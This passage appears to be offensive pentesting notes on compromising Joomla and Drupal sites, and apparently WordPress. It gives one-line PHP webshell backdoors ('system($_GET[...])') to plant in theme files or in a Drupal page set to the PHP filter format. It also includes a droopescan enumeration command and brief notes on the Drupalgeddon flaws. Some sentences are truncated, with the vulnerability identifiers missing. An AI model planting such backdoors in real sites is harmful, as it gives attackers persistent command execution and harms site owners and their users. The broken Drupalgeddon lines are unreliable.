After logging in as admin, we can add a backdoor to their themes by placing this line in 404.php
system($_GET[0]);
Joomla
Joomla robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
# eg the Disallow rule for the /administrator/ folder MUST
# be changed to read
# Disallow: /joomla/administrator/
#
# For more information about the robots.txt standard, see:
# https://www.robotstxt.org/orig.html
User-agent: *
Disallow: /administrator/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/
After logging in as admin, we can add a backdoor to their themes by placing this line in error.php
system($_GET[0]);
Drupal
Enumerating with droopescan
$ droopescan scan drupal --url http://target/
RCE
Enable PHP Filter Module and create a new Basic Page that contains a PHP webshell. Make sure to set the Text format to PHP
<?php
system($_GET['3232ewql']);
?>
In older Drupal version, PHP Filter Module comes installed by default. In newer versions, we will need to install it ourselves either through the admin page, or uploading it via ftp
, known as Drupalgeddon, affects versions 7.0 up to 7.31 and was fixed in version 7.32. This was a pre-authenticated SQL injection flaw that could be used to upload a malicious form or create a new admin user.
, also known as Drupalgeddon2, is a remote code execution vulnerability, which affects versions of Drupal prior to 7.58 and 8.5.1. The vulnerability occurs due to insufficient input sanitization during user registration, allowing system-level commands to be maliciously injected.
, also known as Drupalgeddon3, is a remote code execution vulnerability that affects multiple versions of Drupal 7.x and 8.x. This flaw exploits improper validation in the Form API.